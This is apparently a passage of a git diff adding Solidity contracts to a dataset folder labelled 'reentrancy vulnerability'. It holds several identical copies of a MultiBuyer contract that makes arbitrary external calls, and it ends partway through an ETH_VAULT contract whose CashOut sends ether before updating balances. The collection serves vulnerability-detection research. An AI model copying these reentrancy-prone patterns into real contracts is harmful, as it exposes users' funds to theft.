public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/22823.sol b/smart_contract_dataset/reentrancy vulnerability/22823.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/22823.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/22854.sol b/smart_contract_dataset/reentrancy vulnerability/22854.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/22854.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/241.sol b/smart_contract_dataset/reentrancy vulnerability/241.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/241.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/24456.sol b/smart_contract_dataset/reentrancy vulnerability/24456.sol new file mode 100644 index 0000000000000000000000000000000000000000..7002d11dde4986c308f81cda05cc103ad417be01 --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/24456.sol @@ -0,0 +1,71 @@ +pragma solidity ^0.4.19; + +contract ETH_VAULT +{ + mapping (address => uint) public balances; + + Log TransferLog; + + uint public MinDeposit = 1 ether; + + function ETH_VAULT(address _log) + public + { + TransferLog = Log(_log); + } + + function Deposit() + public + payable + { + if(msg.value > MinDeposit) + { + balances[msg.sender]+=msg.value; + TransferLog.AddMessage(msg.sender,msg.value,"Deposit"); + } + } + + function CashOut(uint _am) + public + payable + { + if(_am<=balances[msg.sender]) + { + + if(msg.sender.call.value(_am)()) + { + balances[msg.sender]-=_am; + TransferLog.AddMessage(msg.sender,_am,"CashOut"); + } + } + } + + function() public payable{} + +} + +contract Log +{ + + struct Message + { + address Sender; + string Data; + uint Val; + uint Time; + } + + Message[] public History; + + Message LastMsg; + + function AddMessage(address _adr,uint _val,string _data) + public + { + LastMsg.Sender 